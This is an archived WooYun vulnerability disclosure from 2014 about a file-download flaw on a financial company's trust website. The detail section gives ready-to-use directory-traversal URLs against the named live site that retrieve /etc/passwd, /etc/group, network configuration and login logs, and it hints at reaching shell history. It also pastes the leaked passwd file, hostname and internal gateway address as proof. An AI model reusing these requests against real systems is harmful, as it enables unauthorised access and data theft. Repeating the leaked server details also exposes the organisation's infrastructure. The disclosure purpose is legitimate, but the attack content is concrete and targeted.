当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083211

漏洞标题：平安信托(平安官网)文件包含漏洞

相关厂商：trust.pingan.com

漏洞作者： 氓氓童鞋

提交时间：2014-11-14 00:00

修复时间：2014-11-19 00:02

公开时间：2014-11-19 00:02

漏洞类型：文件包含

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-14： 细节已通知厂商并且等待厂商处理中
2014-11-19： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

文件包含导致的服务器任意文件下载

详细说明：

很多人发现此漏洞后一般就下载passwd，其实还有很多可以下载：
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/sysconfig/network&filename=network
网络配置文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/group&filename=group
用户组文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/passwd&filename=passwd
用户配置文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../..//var/log/wtmp&filename=wtmp
登录日志
结合这些一般可以找到.bash_history 继续深入，这里就不继续演示了。

漏洞证明：

NETWORKING=yes
NETWORKING_IPV6=yes
HOSTNAME=cnsz031535
GATEWAY=172.28.8.200
--------------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/dev/null
daemon:x:2:2:daemon:/sbin:/dev/null
adm:x:3:4:adm:/var/adm:/dev/null
lp:x:4:7:lp:/var/spool/lpd:/dev/null
sync:x:5:0:sync:/sbin:/dev/null
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/dev/null
mail:x:8:12:mail:/var/spool/mail:/dev/null
news:x:9:13:news:/etc/news:/dev/null
uucp:x:10:14:uucp:/var/spool/uucp:/dev/null
operator:x:11:0:operator:/root:/dev/null
ftp:x:14:50:FTP User:/var/ftp:/dev/null
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/dev/null
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/dev/nfvull
mailnull:x:47:47::/var/spool/mqueue:/dev/null
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ada:x:0:3::/ada:/bin/bash
paxf:x:0:3::/paxf:/bin/bash
pahand:x:699:601::/pahand:/bin/bash
chkusr:x:698:601::/chkusr:/bin/bash
hn:x:776:601::/home/hn:/bin/hostname
opc_op:x:777:177:OVO default operator:/home/opc_op:/bin/sh

mask 区域 
*****001,627536:/wl*****
*****01,627536:/home/*****
*****ngming:/home/*****
*****,622890:/wls/se*****
*****0,622890:/wls/*****
*****,622890:/wls/*****
*****pool/postfix*****
*****:/home/cybe*****
*****g001,623212:/wls*****
*****ng001,623212:/wl*****
*****g001,623212:/wls*****
***** daemon:/:*****
*****G760,625624:/wls/*****
*****760,625624:/wls/s*****
*****01,622303:/wls/p*****
*****7,638343:/wls/an*****
*****:/var/www:/*****
*****o590,621589:/wls*****
*****627644:/wls/li*****
*****2,633067:/home/s*****
*****o387,626658:/wls/*****
*****I073,632556:/wl*****
*****35:/wls/iao*****
*****89,634739:/wls*****

修复方案：

过滤敏感字符

版权声明：转载请注明来源 氓氓童鞋@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-19 00:02

厂商回复：

最新状态：

2015-03-30：该漏洞已修复

漏洞评价：

评论

  1. 2014-11-14 00:31 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1：5 无限量收 [平台担保]))

    哈哈，果断关注。

  2. 2014-11-19 08:18 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子，温润如玉)

    忽略了还修复

  3. 2014-11-19 11:38 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1：5 无限量收 [平台担保]))

    没道德，

  4. 2014-11-20 11:00 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

    这个为什么忽略，如果确认，请尊重白帽子，别影响平安形象啊！

  5. 2014-11-20 11:33 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付，值得拥有)

    @char 就忽略，怎么了，呵呵呵呵呵呵呵呵呵呵呵呵呵

  6. 2014-11-20 11:37 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

    @wangl 有钱、任性。